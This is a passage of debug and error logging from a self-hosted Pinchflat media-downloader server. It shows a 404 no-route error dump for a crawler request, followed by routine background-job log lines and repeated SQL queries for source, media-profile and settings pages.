["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdkg4N0xNUnVvMGtRRjE0RVEyNWJaRF9M.6qyOTheaQ_ffgb7td0pDccGa6iHZ19RZye-hsziD78Y" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdkg4N0xNUnVvMGtRRjE0RVEyNWJaRF9M.6qyOTheaQ_ffgb7td0pDccGa6iHZ19RZye-hsziD78Y"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKge6UJzjIvupqkADj1h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305093.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49682}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdkg4N0xNUnVvMGtRRjE0RVEyNWJaRF9M.6qyOTheaQ_ffgb7td0pDccGa6iHZ19RZye-hsziD78Y", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305093.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49682}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdkg4N0xNUnVvMGtRRjE0RVEyNWJaRF9M.6qyOTheaQ_ffgb7td0pDccGa6iHZ19RZye-hsziD78Y", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdkg4N0xNUnVvMGtRRjE0RVEyNWJaRF9M.6qyOTheaQ_ffgb7td0pDccGa6iHZ19RZye-hsziD78Y" }, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1305096.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => Pinch (truncated) 18:54:00.959 [info] {"source":"oban","duration":384,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:54:16.637 [info] {"source":"oban","duration":2172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:46.639 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.961 [info] {"source":"oban","duration":660,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:55:15.107 [info] GET /sources/3 18:55:15.107 [info] GET /sources/1/edit 18:55:15.107 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 18:55:15.107 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 18:55:15.109 [debug] QUERY OK source="sources" db=1.5ms idle=1296.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:55:15.110 [debug] QUERY OK source="sources" db=2.4ms idle=675.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:55:15.112 [debug] QUERY OK source="media_profiles" db=1.2ms idle=299.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:55:15.113 [debug] QUERY OK source="media_profiles" db=2.0ms idle=299.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:15.114 [debug] QUERY OK source="settings" db=1.1ms queue=0.4ms idle=301.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.116 [debug] QUERY OK source="settings" db=1.1ms queue=0.2ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.117 [debug] QUERY OK source="settings" db=0.7ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.123 [info] Sent 200 in 16ms 18:55:15.368 [debug] QUERY OK source="tasks" db=254.3ms queue=0.4ms idle=4.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 18:55:15.370 [debug] QUERY OK source="oban_jobs" db=0.5ms queue=0.4ms idle=256.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2363] 18:55:15.373 [debug] QUERY OK source="settings" db=1.0ms queue=0.4ms idle=257.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.375 [debug] QUERY OK source="settings" db=1.2ms queue=0.4ms idle=258.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.378 [debug] QUERY OK source="settings" db=2.0ms idle=259.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.384 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=13.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:55:15.387 [debug] QUERY OK source="media_items" db=1.4ms queue=0.3ms idle=14.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:55:15.545 [info] GET /sources/3/edit 18:55:15.545 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 18:55:15.548 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=167.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:55:15.550 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.1ms idle=165.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:55:15.551 [debug] QUERY OK source="settings" db=0.5ms idle=164.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.553 [debug] QUERY OK source="settings" db=0.8ms queue=0.4ms idle=117.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.554 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.561 [info] Sent 200 in 15ms 18:55:16.039 [debug] QUERY OK source="media_items" db=652.1ms queue=0.2ms idle=13.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:55:16.073 [debug] QUERY OK source="sources" db=32.4ms idle=489.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:55:16.074 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=521.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 18:55:16.075 [debug] QUERY OK source="media_items" db=0.7ms queue=0.5ms idle=520.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:55:16.110 [debug] QUERY OK source="sources" db=33.4ms idle=522.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:55:16.144 [debug] QUERY OK source="media_items" db=33.3ms queue=0.1ms idle=71.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 18:55:16.146 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=72.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:55:16.149 [info] Sent 200 in 1042ms 18:55:16.641 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:46.643 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:55.122 [info] GET /sources/new 18:55:55.122 [info] GET /sources/1 18:55:55.122 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 18:55:55.122 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 18:55:55.124 [debug] QUERY OK source="sources" db=1.7ms idle=1311.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:55:55.124 [debug] QUERY OK source="media_profiles" db=2.1ms idle=1311.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:55:55.127 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.7ms idle=1313.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:55.129 [debug] QUERY OK source="settings" db=2.5ms queue=0.5ms idle=580.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:55.129 [debug] QUERY OK source="tasks" db=1.7ms idle=316.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 18:55:55.131 [debug] QUERY OK source="settings" db=1.0ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:55.131 [debug] QUERY OK source="oban_jobs" db=0.5ms queue=1.0ms idle=5.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2365] 18:55:55.133 [debug] QUERY OK source="settings" db=1.5ms queue=0.3ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:55.134 [debug] QUERY OK source="settings" db=1.9ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:55.135 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:55.138 [debug] QUERY OK source="settings" db=0.7ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:55.139 [debug] QUERY OK source="settings" db=1.6ms queue=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:55.142 [debug] QUERY OK source="settings" db=1.5ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 